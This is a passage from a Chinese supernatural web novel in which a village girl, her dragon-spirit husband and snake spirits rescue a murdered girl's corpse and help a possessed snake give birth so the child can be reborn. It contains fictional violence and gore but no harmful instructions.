再三向我保证,只要我愿意跟着他干,他一定把他家祖传三代的捞尸本领都传授给我。 我也被他说得动了心,壮志凌云的打算和李师傅大干一票,赚他个三五八万。 可我妈在听说我准备拜李师傅为师后,拎着我的耳朵就把我从李师傅家拖了回来。 我妈坚决抵制我进捞尸这一行,原因有二。 一是捞尸虽然积阴德,但却损身上阳气,我本就身子骨不好,再去捞两年尸,尸体的阴气冲也把我冲死了。 二是尸臭能顺着人的毛孔进入人的身体,常年和尸体打交道身上臭味难消,久而久之那股子臭味就洗不掉了。 我一个女孩子出门在外身上都是尸臭,多少有点见不得人。 我妈不让我捞尸,很快我又在村长的推荐下被村里的泥匠老葛看中了。 老葛见我骨骼清奇玩泥巴是一把好手,就忽悠我,说要带我去玩坨大的—— 给庙里做泥塑神像! 我一听满意极了,毕竟专业对口,收入也相对可观…… 但这次我又被我妈拎着耳朵拽了回去,问她原因,她没能再答出个一二。 我把她缠急了,她才说漏了一句。 大致意思是……小庙里的那些神仙,不配我为他们塑泥像。 我塑的泥像,他们不敢用。 再追问,我妈就不理我了。 我猜,可能是因为我八字比较硬,所以庙里的土地公本地仙才不敢用。 于是我靠捏泥人赚钱的梦想也破灭了。 但,就算不能靠爱好一夜暴富发大财,爱好也还是爱好…… 泥巴还是要玩的,最多自娱自乐。 我随手一捏,就是个漂亮的小女娃娃。 “苏苏……” 我拿着小泥人找拔蒜苗的小丫头显摆,奈何泥人还没递过去,我就被迎面撞来的一团火焰给吓得跌坐在菜地上。 鬼火?! 那团火猛地在我前方三米处停了下来,我仔细看,才发现不是鬼火。 是杨泽安的通讯符火! 黄符被火焰烧尽,猛地从火光里弹出一条——语音信息的标识?! 现在道家黄符这么高级吗,都可以传语音了…… 不用我想办法点播放,那条语音信息上的声音标识就自己动了起来: “小萦,带上柳云衣与龙哥,赵大山家集合! 母蛇疯了,江墨川为了逼母蛇现身偷走了赵朵朵的尸体,她现在闯入赵家就是在送死!” 江墨川把朵朵尸身偷走了……他这么变态! 我和苏苏得到消息后立马跑回家把正在修炼的柳云衣拽出来,再去找帝曦,却发现他又没影了…… 来不及再寻他,反正我遇见危险他肯定会出现,我和苏苏带上柳云衣就着急往赵大山家跑。 十五分钟后,我们气喘吁吁跑到了赵家三间平房正前方。 阿乞师叔和杨泽安已经帮着那条母蛇与江墨川王瘸子打了起来。 供桌上的烛火被风吹得乱晃,铁盆里黄纸翻飞。 母蛇目眦欲裂地发出凄厉惨叫:“不许动我的孩子,还我女儿!” 想扑过去护住女儿,却被王瘸子一道黄符打吐血…… 江墨川费劲地边对付阿乞师叔,边厉声指挥瘫坐在地上瑟瑟发抖的赵大山: “快烧了赵朵朵的尸体!” “不要!烧了朵朵的尸体朵朵就不能轮回转生了!”母蛇哭吼。 听见这话的赵大山愣了一下,但紧接着就急忙踉跄爬起身,拿起供桌上一支白蜡烛朝左侧空地上摆着的红漆小木棺快步走去…… “赵大山!” 想去阻拦的母蛇再次被王瘸子拿桃木剑逼了回去,瞪大漆黑双眼撕心裂肺地冲赵大山大喊: “朵朵也是你的女儿啊!” 狼心狗肺的赵大山冷哼一声,加快脚步靠近红棺: “一个死丫头片子罢了!老子要的是儿子,儿子!” 眼见赵大山就要拿火去点棺材里的尸体了,柳云衣一道白光从苏苏怀里的牌位内飞了出去,一头撞倒没有人性的赵大山,摔灭他手里的白蜡烛。 “畜生!连自己亲女儿都杀,你妄为人类!” 谁料江墨川早就防着我们这一招,柳云衣才落地化为人形就被躲在暗处的王白雾打出一串黄符团团困住—— “蛇妖,受死!” 王白雾掐诀施法,围在柳云衣四周的黄符骤然收紧。 一道刺目的黄光猛地将柳云衣牢牢束缚住,压迫着柳云衣狼狈单膝下跪。 我和苏苏本想去救柳云衣,但又听王瘸子疾声催促: “老赵,还等什么呢!快去把赵朵朵尸体烧了,烧了她的尸体,就能反噬重创这条蛇妖!” 柳云衣闻言眸中瞬间闪过一抹银光,迅速施法,法力绕过团团围困他的黄符。 反向束缚住掐诀念咒的王白雾,厉声朝我们喊: “我拦住王白雾!小萦,切不可让他们动朵朵尸身!” 话音落,赵大山他爹妈也壮着胆子从堂屋里跑了出来,一个举着铁锹,一个拿着火把,面目狰狞红着眼径直往红棺方向冲。 我顾不上再管柳云衣,和流苏一个拦一个,扑到赵三叔两口子跟前不许他们靠近那孩子尸体。 “三叔!朵朵是你的亲孙女,你烧她尸体是会害她魂飞魄散的!” 我抓住赵三叔手里的铁锹嘶声提醒他。 可赵三叔两口子这会子已经失去了理智,满脑子都想着他的废物儿子。 见我们去拦也不和我们客气,卯足劲想要推开我,恶狠狠威胁道: “让开!再不让开我连你一起烧!” 赵家婶子举着火把疯狂撕扯流苏,想要把抱住她腰的流苏扔出去: “该死的万兰茹还想要我儿子的性命,做梦!今天我就让她们母女俩一起完蛋!” 我清楚以我和流苏的力气根本不是这对老夫妻的对手,看了眼快要拦不住的流苏,我索性心一横,一口咬在了赵三叔的手背上。 赵三叔吃痛叫出声的同时,下意识松了握在铁锹把上的一只手。 我趁机直接将他的铁锹夺了过来。 他失去了手里的工具,脑子灵活地转头就帮自家老伴甩开流苏。 火速从自家老伴手里接过火把,大步流星地往红棺前走去…… 只不过就在他准备把火把丢进棺里的那一刻,我硬着头皮举起手里的东西,一铁锹挥在了他的后脑勺上—— 他背影一顿,下一秒,手里火把落地,他也应声倒下,昏死了过去。 赵家婶子见状惊恐的瞪大双眼,眼球浸血地抖着手指我,“你个小贱……” 我二话没说反手一铁锹把赵家婶子也给拍晕了过去! 第一卷 第52章 能不能爱惜一下别人的身体! 赵家婶子两眼一翻,倒在了赵三叔身边。 爹妈都被我拍晕了,瘫坐在地上起不来的赵大山没出息地害怕往供桌下藏。 本着斩草要除根,绝不给自己留隐患的原则,我猛喘两口气,手起锹落,很有技巧地把赵大山也给撂倒了。 “二姐!”流苏从地上爬起来,跑到我身边关心道:“你没事吧!” 我摇摇头,这才丢下手里铁锹,“没事。” 放眼看向被浇了火油的红木馆,我着急说:“先抱走朵朵的尸体!” “好!”流苏听话跑去伸手要把朵朵从棺里抱出来,只是低头一见棺内东西,顿时就小脸一白,没忍住地扭头干哕…… “二姐、朵朵……烂了,四肢都没有了……” 我忙跟过去,视线落进棺内。 只见被火油浸泡、黏黏糊糊的棺材内,一具小小的尸体被锈色纱布包裹着。 纱布并没有将棺内尸体包裹严实,尸体腹部松散的布条里,隐隐还能看见干瘪的皮肤,与利物戳破尸体腹腔,留下的烂肉血洞—— 小尸体没有双臂双腿,四肢像刚亡故就被人切下来了。 大抵是城里那位富商买走她后为了将她与自家儿子魂魄捆绑,特意切下她身体的一部分烧成骨灰,与儿子的骨灰合装了。 给富商办事的先生一看就是个懂行高手,只拿走朵朵的一部分烧成骨灰捆绑朵朵,却不是直接将朵朵整具遗体火化了。 是因为尸体是连接魂魄的重要媒介,控制着朵朵的骨灰顶多能让朵朵失去自由,为他所用。 可控制住朵朵的尸体,却能将朵朵炼成厉鬼,等朵朵能力强大起来,他就能操纵朵朵去做些伤天害理的阴邪事! 朵朵都过世两年了,尸体还没有变成一具干尸白骨,腹腔里甚至还有血与肉,可见他们肯定在朵朵尸体上用了特殊方法,这才延缓了尸体腐烂的速度。 等时机成熟,他们肯定还会把朵朵再挖出来,继续进行剩下的仪式。 好在,万兰茹带走了朵朵! 不过,如果朵朵还在富商家,还处于魂魄状态,现在烧了朵朵的尸身对朵朵并没有危及生命的影响。 可现在朵朵正处于魂魄转生状态,朵朵的魂在柳云响肚子里,柳云响在拼命为她重塑肉身。 这会子烧了朵朵的尸身会打断朵朵的重生,朵朵很有可能立马魂飞魄散。 江墨川这王八蛋就是想利用柳云响以非官方方式助朵朵转生,一旦失败,柳云响自己也会遭受重创,他就能趁机杀掉柳云响这一点,所以才急着让赵家人对朵朵动手! 真是一如继往的为达目的不择手段! 我看着棺里那张面目全非的脸,顶着恶臭,皱紧眉头心一横,脱掉自己的外衣罩在小小的身体上,将小娃娃从棺里抱了出来…… 正费劲应付阿乞师叔的江墨川见状,面上一慌,紧张道:“萦儿!你不是答应过我不来赵家么!你怎能言而无信!” 我抱着孩子警惕后退两步,憋着气息厌恶道:“你耳聋?我什么时候答应过你的要求了!” “你!”江墨川瞪着一双血瞳恼火磨牙:“风萦,你真是令我太失望了!” 避开阿乞师叔的一道攻击后,江墨川着急命令王瘸子:“去抓住风流苏!” 他是想用流苏来威胁我交出孩子? 我扭头看了眼还被王白雾用黄符困在法阵里的柳云衣,转身果断把孩子塞进流苏怀里,从口袋中摸出黄符与银针。 银针扎破手指,我夹住黄符语速极快地念咒:“煌煌九天,芸芸万仙,以我之血,渡尔神魂!” 血渗入黄符上的朱砂符文中,被符咒控制的柳云衣瞬间满血复活,站起身一道刺目白光就将王白雾与王瘸子父女俩都给震飞了出去—— 战斗力飙升的柳云衣见母蛇被江墨川打得仰身倒下,忙一个闪现,化出庞大的白蛇真身出现在母蛇身后,撑了母蛇一把。 母蛇迷茫看了眼出手相救的白蛇同类,但很快,两蛇便默契地齐齐攻向江墨川。 我和流苏这边才刚松口气,谁知一道黑影闪过,下一秒流苏怀里的尸体就被抢走了—— “二姐!”流苏仓皇叫我,我转头看去,只见风柔手快的直接用打火机点燃了怀里尸体上裹着的锈色纱布。 火光映在她深沉的漆眸里,清晰照亮她眼底一划而过的阴狠快意。 尸体上本就被泼了火油,见了火苗后更是迅速燃起熊熊烈焰,火舌顷刻就攀满了整具尸身—— 风柔猛地将怀里着火的东西扔出去,流苏激动大哭:“不要!” 拔腿就要扑上去救火。 我手快的抓住苏苏手腕:“别去!” 这会子过去苏苏也有危险,那尸身上可是浸满了火油! 正与爬起身狼狈施法的王瘸子缠斗的母蛇感应到女儿尸体被烧,立时失了理智,摇摇晃晃地扑向着火的尸身—— “不要,我的孩子!” 我大声呼唤:“阿乞!” 忙着炫技晃花江墨川双眼的阿乞师叔一回头,错愕惊叫:“我去!火!灭火灭火,柳云衣别打了快喷水!” 柳云衣僵了下,懵懵地瞪圆蛇瞳:“我吗?我是蛇,我不会喷水啊……” 我头疼不已:“用法力啊!” 柳云衣这才慢半拍的反应过来,张开血盆大口就是一把吐沫喷在了那团火焰上—— 吐沫包裹住暂没有烧化的骸骨,眨眼间就在骸骨上凝出了一层厚厚的冰。 火焰被冰吞噬,虽然里面的尸体挺遭罪,但好在是保住了。 然而江墨川那王八蛋却趁母蛇分神,施法收过王瘸子手里的道门宝剑,飞身就跨坐在母蛇庞大的身躯上,举剑刺穿母蛇的后心! 母蛇痛苦昂头嘶叫一声,刺耳的嘶鸣震得人头颅欲裂。 鲜血溅了江墨川一脸,柳云衣惊恐大叫:“云响!死蛟,谁允许你碰我的云响的!” 话音落,飞身猛扑江墨川。 江墨川狠心再次拔剑,在母蛇后心血流如注时一脚踹倒母蛇,随即化出蛟尾,一尾巴扇飞冲过去的大白蛇。 母蛇重伤的身躯轰然砸落在地,江墨川右手拎剑抹了把脸上的血渍,目光如隼居高临下盯着重伤倒地的翠绿母蛇,冷声质问: “你到底把东西藏哪了!不说,本尊就剖开你的蛇身,一处一处找!” 说完,江墨川提剑恶狠狠的追杀过来。 杨泽安快步跃身至母蛇身前,拿桃木剑阻拦,却被江墨川反手用利剑削断桃木。 早就看杨泽安不爽的江墨川眯了眯眼,恶狠狠骂了句:“找死!” 剑刃一偏,目标明确的朝杨泽安脖子划去—— “泽安!” 危急关头我一把抓住杨泽安胳膊,用力一扯,带他避开江墨川的刀刃。 江墨川举剑又要砍,眼见杨泽安还没反应过来,我立马跨上前一步挡在了杨泽安身前…… 朝我头顶落下的长剑并没有因为砍错人而收敛刀风,看我迈出去给杨泽安挡刀,江墨川瞳孔骤然一缩,确实愣了下,有收剑的意思。 但他最终却没有及时停手,而是故意剑锋一转,让劈向我脑袋的长剑砍向我肩膀。 “二姐!”阿乞师叔惊叫。 根据以往经验,他这次八成又是故意抖机灵突发奇想试图给我“涨涨记性”。 可他错了,我赌的从来不是他舍不得伤我…… 我赌的是—— “老公,救我——” 真龙之怒! 我捏紧手里的黄符恐慌大喊。 意料之中的,那把剑并没有碰到我分毫。 而是在距离我肩头还有五公分距离时,被我身上陡然散发出来的金光给震飞了出去—— 紧接着,一股凶猛强悍的墨紫色云雾状气流从我手臂上汹涌化龙冲向九天。 我不敢相信地揉了揉眼睛,胳膊上的黑龙纹身,活过来了?! 下一秒,黑龙落地金光一晃凝出墨发紫袍、高大威仪的俊美男子身影…… 男子抬手运功召来附近河渠千万水滴,于掌中汇聚成一枚晶莹清澈的大水球,蓦地出掌,水球重重打入江墨川的胸膛。 江墨川一口黑血喷的三米远,一晃眼的功夫,便被迫化回原形,轰然倒地,还顺便压塌了赵大山家的土砖厨房…… 我目瞪口呆地看着正前方那抹颀长身影,又低头看了看自己白皙的手臂。 原来……黑龙纹身就是他啊! 难怪,每次我和他在一起,黑龙纹身就会消失。 分开后,黑龙纹身又神不知鬼不觉地出现了…… 害得我都没机会问帝曦这个黑龙纹身到底是什么情况。 不过,他竟然能把自己变成纹身依附在我胳膊上…… 他好厉害啊! 不等阿乞师叔那边再出手收拾江墨川,趴在地上的母蛇突然痛苦蠕动了几下身躯,随即扭头滑动身体,尾巴一摆,火急火燎地往外跑—— “云响,等等我!” 柳云衣着急忙慌的也滑动蛇身追了上去: “那个、赵大山前妻!你慢点,你别把云响的身体折腾坏了! 你轻点!能不能爱惜一下别人的身体!” 第一卷 第53章 灵蛇诞胎 一绿一白两条巨蛇沿着屋后那条碎石窄道一前一后地跑了。 风柔见江墨川又输在了帝曦手上,视线再次落回被冻成冰块的那堆尸骸…… 只是没等她出手抢,流苏就快她一步把朵朵的尸骸搂进了怀里。 阿乞师叔踹了半死不活的江墨川一脚,掐指一算,凝声说: “她动了胎气,孩子要出生了,得快些把赵朵朵的尸骨送过去!” 我上前抓住龙仙大人的修长玉手:“好,我们现在就去找她!” 风柔晓得没机会再下手了,怯怯跑到被柳云衣打断腿的好闺蜜王白雾身边,小心扶起王白雾和王瘸子。 我们正打算走,堂屋右侧的卧房里却传来几道闷沉的碰撞声。 “屋里还有人!”杨泽安大步跑向堂屋。 我和流苏相视一眼,带上帝曦也尾随进去。 冲进赵大山的卧房才看见,吴小红被赵大山一家用胶布裹住了嘴,双手双脚都被麻绳捆在了椅扶手与椅腿上。 发丝凌乱,眼角淤青未消,腮帮子一片黑紫,双目攀满血丝。 上衣领口第一颗扣子被人暴力扯落,衣领处还洇着吴小红的鼻血与眼泪。 看样子,她刚被赵大山那个渣男家暴过。 杨泽安手快解开了她手脚上的麻绳,我想过去撕开她嘴上圈圈缠绕的透明胶布,却被帝曦一把拽了住。 帝曦从容抬起骨节分明的大手,打了个响指,吴小红嘴上的胶布瞬间消失不见。 杨泽安扶起没有多少力气的吴小红,吴小红勉强从椅子上站起来后,第一反应就是紧张攥住我胳膊,红着眼眶语气颤颤道:“我知道兰茹姐在哪!我带你们去!” 杨泽安不放心的单手搀着她,皱眉询问:“你现在的状态,撑得住吗?” 吴小红含泪重重点头,恼火恨道: “赵大山这个畜生竟然连自己亲女儿的尸体都不放过! 下午那个姓江的把朵朵棺材送过来,说要用朵朵引出兰茹姐,我知道他们没安好心,就想去找你们,给你们通风报信,谁料到刚出门就被王白雾领着那两个老东西拦了下来。 王白雾故意在赵大山面前煽风点火,说我胳膊肘往外拐,说我背叛赵大山,还怂恿赵大山对我动手,说只要把我打服了,我就老实了,不敢泄密了。 赵大山越听越气,根本不给我狡辩的机会就拽着我的头发当着他们这些人的面一顿打,边打还边骂我只是他家花钱买的一条狗,威胁我要是坏了他的好事,就把我也杀了。 他们往朵朵身上泼火油,我只是拦了下,他们就把我绑了起来! 小萦,赵家这些人都该死!朵朵和兰茹姐是怎么死的,两个老东西从头到尾都一清二楚! 小萦,不要救他们!不要!让他们死,让他们为自己所做的孽付出代价!” 吴小红越说越激动,一双血眸死死瞪大,眼球似要从眼眶里凸出来。 抓在我臂上的手指节用力,指甲抠得我胳膊生疼。 我反握住她的手腕,耐心安抚她: “小红你冷静,我们不会包庇他的,冤有头债有主,欠债还钱杀人偿命天经地义!” 吴小红泪眼朦胧地紧绷着身体,颤抖点头, “好,好。杀人偿命,天经地义!走!我带你们去找兰茹姐,我知道兰茹姐这几天都躲在哪!” 说完,她推开杨泽安的搀扶,一瘸一拐地快步往外去。 我拉上帝曦,与流苏、杨泽安、阿乞师叔一起紧赶慢赶地追上吴小红。 吴小红领着我们沿黄河岸边往上游走,绕过几片树林与大块大块蓄了水的农田,来到了野草丛生的乱葬岗。 半人高的土地神君矮庙镇守在乱葬岗上坡处,吴小红加快步伐往东头邻水的一处刺苔丛赶去。 枝繁叶茂的刺苔丛上开出了繁星点点的粉白野蔷薇,附近还有蝴蝶绕花蹁跹起舞。 刺丛足有一米半之高,远远望去,仅是一堵春色绚丽的花墙,周边风平草静,丝毫看不出任何异常。 刚准备靠近,一袭白衣的柳云衣便冷不防地不知从哪冒了出来,蓦地现身在我们前方,拦住了我们的去路。 “小萦,大王……”柳云衣老脸泛红地摸摸鼻头,不好意思地指了指刺苔丛深处,欲哭无泪道:“你们可算来了……” 从流苏怀里硬抢过朵朵的尸骸,柳云衣没良心地推我和流苏过去: “你们都是女孩子,快去看看云响、不对,赵大山前妻吧,她在产子,疼得厉害,正满地打滚呢…… 我一个大男人,实在帮不上什么忙……你们会接生吗?快去看看她吧! 再拖一会儿,我怕她疼死了…… 她死不要紧,她现在用的可是我媳、云响的身体啊!” 面容苍白的吴小红闻言,果断道:“我会接生!但是你们能不能给我弄把剪子出来!” 难得吴小红能在这种危急关头还可以保持头脑清醒思路清晰,柳云衣反应慢拍的恍然哦了声,立马翻手用法术化出一把金色剪刀,递给吴小红:“剪子,给你!” 吴小红接过剪刀,转身就毅然跑进了刺苔丛。 我松开帝曦,牵着流苏跟上。 绕到刺苔丛背面,才看见一条通体翠绿的巨蛇在野蔷薇花丛里艰难翻滚,蛇身被尖刺划出无数道小血口子,尾巴在地面疯狂摩擦甩动…… 高高隆起的腹部有婴儿在肚皮下挣扎着要出世,巨蛇身下,浓稠的鲜血裹着蔷薇花叶,散发出熏人的腥臭味。 巨蛇蠕动着身躯试图用自己的力量将孩子生出来,可那孩子却迟迟没有露头的迹象。 “疼、救我……阿红,救我……”巨蛇流着眼泪痛苦口吐人言,朝吴小红求救。 “救我的、孩子……” 吴小红看着这一幕陡然醒神,把剪刀揣进上衣口袋里,紧张挪到巨蛇身侧,用力咬了下乌青的下唇,颤着嗓音和巨蛇商量: “兰茹姐……你忍着点,别咬我。 我妈从前是接生婆,我虽然没有经验,但我看我妈给别人接生过,她从前给人接生的时候,都是我在她身旁给她打下手…… 你忍一忍,我用老法子帮你推肚子催生……母蛇和女人,应该没什么区别!” 巨蛇泪眼盈盈地温顺点头。 吴小红见她答应,赶紧跪下身,伸手按压巨蛇的肚皮: “快了,已经快了,是有点胎位不正难产……孩子的脚在下面! 不过没关系,我家祖传的手艺能把胎位推正,就是有点疼…… 小萦,流苏!来搭把手!” 我和流苏听见她喊,不假思索的迈过去,听从她指挥。 “流苏,你手嫩,我教你怎么给她推胎,小萦,按住兰茹姐!” 我听话的压住巨蛇上半身,流苏则跟着吴小红的节奏,把手压在巨蛇腹部,隔着冰凉的蛇皮小心翼翼推动巨蛇腹中的胎儿…… “流苏,用力!” “小红姐、我推不动,好像卡住了……” “不要停下来,孩子一直生不出来兰茹姐会死的!” “小红姐……真的推不动了……” “我来!” 吴小红骤然掌中用力,大蛇下身瞬间又涌出一股黏稠血液。 躺在地上痛不欲生的巨蛇委屈抽泣出声,“疼……” 身躯挣扎的更是厉害。 我拼命压住想要翻身的巨蛇,正用着力气呢,肩上鳞伤却不合时宜的倏然一阵剧痛—— 害得我按着大蛇身子的右臂一软,差点整个人都扑进了大蛇怀中。 吴小红和流苏还在着急给巨蛇推正胎位,我见大蛇痛得气息渐弱,流苏那边却还是毫无进展,听着吴小红口授流苏技巧的声音…… 我没忍住的放开大蛇,起身走到流苏身侧蹲下来,试着上手:“苏苏你歇一会,我试试。” 虎口卡住腹内胎儿,我聚精会神地慢慢用力,隔着巨蛇的肚皮,将孩子往下推…… 吴小红在我耳边念叨了些什么我实在无暇顾及,只全神贯注地感受掌下动静,顺着巨蛇的腰腹,将胎儿挪正位,头朝下,越推越顺…… 凭感觉猛一用力! 片刻,婴儿的啼哭声在野蔷薇丛里哇哇响起! 我如释重负的无力瘫坐在地上,半条手臂都痛到麻木,似有千万只蚁虫在血肉里游窜啃噬。 吴小红将身上黏糊糊的婴儿温柔抱进怀中,苏苏扶住我胳膊,目光无意往我肩后一瞥,顿时惊恐尖叫:“二姐!你背上好多血!” 我满头大汗力竭地摇摇头要回应,肩上陡一沉。 我的身子被人隔着一层墨紫古袍握住双臂从地上提起,顺手揽进怀中护住,允许我疲倦地靠在他胸膛上歇息…… 男人骨若修竹的玉指搭在我肩后鳞伤处,指腹悄然凝聚灵力,细心为我止痛。 柳云衣与阿乞杨泽安听到动静也跟了过来…… 柳云衣望着躺在血泊里奄奄一息喘粗气的大蛇,眼眶一红,心疼地吼破了喉咙: “云响!我的响啊!你的身体怎么被折腾成这样了!” 吼罢,不顾草丛里的污血会染脏他一袭白衣,他着急绕到母蛇身后,轻手把母蛇从地上扶起来,抱进自己怀里,还贴心的把母蛇脑袋放在了自己臂弯处…… 母蛇生完孩子气若游丝地再睁眼,漆黑圆瞳不觉变回了翠色竖瞳。 不耐烦地皱皱眉,歪头看见柳云衣,喘息着嫌弃低吟: “你怎么、还是找来了……喊什么,我又没死!” 柳云衣瘪嘴疼惜道: “没死也丢了半条命,你傻不傻啊! 怎能把自己的妖身借给别人孕育灵胎,这样逆天而行,你还想不想成仙了?!” 母蛇深叹一口气,闭了闭眼,庞大蛇躯幽光一扫,化成了一名身穿广袖黑纱银线水纹长裙,乌发三千松散高挽,发间簪着灵蛇簪的年轻妩媚女子…… 蛇女躺在柳云衣怀里暂时还不能动弹,胸口起伏得急促,面容苍白地颤着乌密睫毛沉沉道: “成不成仙,我都不在乎了,你还计较什么。” “可成仙,不是你幼时的梦想么?”柳云衣说。 蛇女闷笑出声,语气自嘲: “你也说了……那是我幼时的梦想。 柳云衣,你都离开黄河五百年了,我已经,长大了,认清现实了。 既然走了,还回来做什么? 当年,不是巴不得与我再也不见么,这会子,何必自己主动贴上来。” 柳云衣心虚的喉中一哽,眼底浮上丝丝愧色:“云响,我……” 蛇女幽幽睁眸,浑浊视线直直落在我身边男人的袖角上,寸寸往上抬: “当年你对我避之不及,我……” 话没说完,蛇女的目光定格在抱着我的男人面容上……瞳孔骤然一震。 吓得差点从柳云衣怀中弹坐起来:“大——” 奈何不等她把话说出口,柳云衣就手快地从后一把捂住蛇女嘴巴,干笑着忙打断:“哈、哈,低调,冷静!” 蛇女不可思议地再看帝曦一眼,扭头就朝柳云衣焦急的用手比划,嘴里还呜呜个没完。 柳云衣拍拍蛇女肩膀尬笑,攥住蛇女瞎比划的手一脸无奈地与蛇女打哈哈: “冷静云响,没事,咱们回去慢慢说,慢慢说……” 我不是很理解的昂头问帝曦:“她怎么了,为什么看见你是这个反应?” 帝曦面无表情的冷漠道:“她产后抽风。” 我:“……” 那头的蛇女被柳云衣按在怀里好不容易才劝冷静下来,目光怯怯地往帝曦身上瞟…… 谁知瞟着瞟着,猛地停留在我脸上。 蛇女怔住,下一秒,再次抬手,指着我惊恐瞪大眼:“水——唔!” 这次又是柳云衣捂住了她的嘴。 只不过这回捂蛇女嘴的柳云衣自己也一头雾水,脑袋发懵的委屈巴巴问帝曦: “大王……为什么又捂?” 第一卷 第54章 阴人育阳胎 揽着我的帝曦敛下指尖法力,闷咳一声,避开柳云衣与柳云响四道迷茫目光。 没好气地威严启唇:“太吵了,吵得本王头疼!” 柳云衣柳云响默契得双双无辜眨眼。 片刻,柳云衣的手能从柳云响嘴巴上拿下了。 柳云响敬畏的老实抬眸小心翼翼注视帝曦,试着开口: “是小妖嗓音太大了吗?那小妖……轻声些。大、您怎么上来了……还有水……” “柳云响。” 帝曦冷冷打断柳云响,意味深长地垂下幽寒紫眸,居高临下地睥睨着蛇女,沉声提醒: “不该说的话,不要说出口。” 蛇女立马乖乖捂嘴,被帝曦吓得眼神都清澈了,无比乖巧地往柳云衣怀里缩缩,懦懦点头:“哦,云响知道了。” 吴小红抱着刚出生的孩子,顺脚踢开地上用来剪脐带的金黄剪刀,从口袋里拿出干净的软纸巾,手上力度极轻地给孩子擦拭脸上浊物。 流苏好奇问帝曦:“姐夫,孩子生下来了,云响姐姐也回来了,那兰茹嫂子呢?” 帝曦施法指尖灵力一挥,“她,心愿已了,还未离开。” 游魂状态的万兰茹瞬间现身在我们面前,一身红裙,长发微卷,面容姣好却苍白如纸,肤如白雪,手臂上一块烫伤疤醒目而狰狞…… 面无表情地与我对视了一阵,眸底浮上的悲凉之色渐浓。 张了张乌青的唇瓣,嗓中发出干涩的沙哑声:“谢谢、你……帮我生下朵朵。谢谢、你给了她一线生机。” 给了孩子一线生机…… 我吗? 她还真是客气,真正给朵朵一线生机的人,应该是吴小红才对。 抱着孩子的吴小红一见万兰茹就湿了眼眶,将她刚生下的女宝宝送过去,泪流满面的艰难笑着向万兰茹道喜:“兰茹姐,你看,朵朵又回来了。你这些天吃的苦,没有白费。” 望着被送到面前的小女宝,万兰茹伸手想抱,灰白的手指却又停在半空,迟迟不敢触摸自己的亲骨肉。 四肢僵硬地后退两步,万兰茹满眼温柔地瞧着这个女儿,嘴角微微上扬,哽咽道: “还是、不靠近了……我是阴魂,靠近阳胎,会伤到孩子的。” 而吴小红怀中的小女婴似是认出了眼前那道半透明的清瘦身影,上一秒还在哇哇大哭,下一秒就止住了眼泪,冲着万兰茹稚声咯咯笑起来。 小手还不停朝万兰茹的方向胡乱抓挥,像是在找妈妈要抱。 杨泽安将万兰茹的魂魄从上到下打量了一遍,凝声问: “你快消散了?赵大山为什么杀你,你死后,又为何会附体在柳云响身上? 人死魂魄应该前往土地庙领取路引,再由城隍庙的阴差接管引路,前往阴曹报到。 你不但滞留人间迟迟不肯下黄泉入鬼门接受审判进轮回程序,还以阴魂身份孕育阳胎,你这样做,无论阳胎是否能成功生下,你的魂魄,都保不住了…… 我知道你是心疼女儿,可你何必,非要让女儿以这种形式重生,再做你的孩子呢? 你们母女俩一起前往冥界轮回,不好吗?你们此生母女缘尽,是天意,你何必、强求呢?” 万兰茹闻言,苍白的年轻面容上勉强挤出一分笑,伤怀解释: “我知道,云响和我说过,阴人孕育阳胎,逆天而行,会遭天谴,永世不得超生。 可我,就是舍不得我的朵朵。” 万兰茹低头,眼角滑落两行冰凉的泪: “我原本出生在大富大贵的家庭,爸爸靠贩卖钢材起家,妈妈是著名书法家的独女。 妈妈二十一岁那年,看上了一无所有,守着空壳子家族产业还倒欠一屁股债的爸爸。 那时候,我姥爷极力反对妈妈与爸爸谈恋爱,他瞧不上爸爸,说爸爸只会干些投机倒把的勾当,注定一辈子不会有什么大出息。 可我妈不信,为了能顺利嫁给我爸,我妈在婚前灌醉了我爸,故意怀上了我爸的孩子,有了我哥哥。 我妈查出怀孕后,我姥爷没法子,只好答应了我爸和我妈的婚事。 我爸妈结婚后,我妈拿出自己全部嫁妆给我爸还债。 我爸也是个重情义的人,拼命在外赚钱,自己赚到一百块,就给我妈九十九块五。 我爸最艰难的时候,一天只能吃一顿饭,一顿饭还只有两个馒头,省下来的钱,给我哥买市场最好的奶粉,给我妈买超市最贵的营养粉。 都说男人有钱就变坏,我爸却是个例外。 五年过去,我爸功成名就,我妈也自那以后,被他养成了圈子里最被人羡慕的贵太太。 可人生哪有十全十美,我爸妈终于熬出头的第二年,我哥哥丢了。 我爸妈满世界地找,都没得到哥哥的一丝消息。 又过了几年,我爸妈有了我。 我出生那年,正是我爸事业最红火的阶段,可以说,我是含着金汤匙出生的千金小姐。 哥哥的事成了爸妈心中的一块伤,所以爸妈对我这个小女儿格外关注疼爱。 从小到大,我要什么,他们给什么,他们把我养得不谙世事,把我养得金尊玉贵…… 而受奶奶从小给我讲的父母故事影响,青春期,我也开始心理不健康地向往一段离经叛道的爱情。 富家千金穷小子,倾尽己能陪一人白手起家,功成名就,听起来就很酷。 终于,十六岁那年,我等到了人生中的第一次怦然心动。 当天,我眼前站着的,是满头大汗,自己被机器误伤却抓着我手问我有没有事,要不要去医院的赵大山。” 千金小姐与穷小子勇敢追爱的故事,放十年前,的确很受一众年轻人追捧。 可她没想过,十五六岁那场轰轰烈烈的恋爱,只是青春期初尝爱欲的新鲜感冲昏了头。 那根本不是真正的爱,更不是未来婚姻的模样。 五年十年后再回首,会发现那些离经叛道的冲动,其实啥也不是。 我轻叹,默默在心底坚定了恋爱还是得心理成熟了再谈才靠谱。 阿乞师叔在旁边抱着肩听得眉头紧皱,见我目光扫过去,忍不住地偷偷挪过来,低声和我吐槽: “我一听这个开头,就猜到了结局。哎,都是恋爱脑惹的祸啊!” 万兰茹抹了把眼泪说下去: “起初,他并不知道我是老板的女儿,以为我是工厂的普通员工,他会在我脚扭伤的时候给我送消肿药,会在我不会用机器的时候,耐心手把手教我。 我做错了事,也是他在科长面前给我顶罪,和他在一起那些时日,我真的很开心,很自由。 我还想,等我十八岁成年了,我就问问他,要不要我做他女朋友。 只要他愿意和我在一起,我不介意向我妈学习,把我的嫁妆也全都给他做创业基金。 但,变故总比计划来得快,不久我家爸被同行暗算,赔了很多钱,为了回款,我爸打算关闭那家工厂。 我和他,也不得不就此分别…… 我知道他回了老家,我还想着他,我甚至打算、等我读完大学,我就来槐荫村找他。 谁知道,十八岁,我和爸妈参加一个业内交流晚宴,那晚,三十六楼的宴会厅电线走火。 火势刚起,就点着了整个宴会厅,所有人都在火海里挣扎,嘶叫。 电梯不能用,救援队一时半会上不来,天花板的水晶吊灯噼里啪啦往下掉。 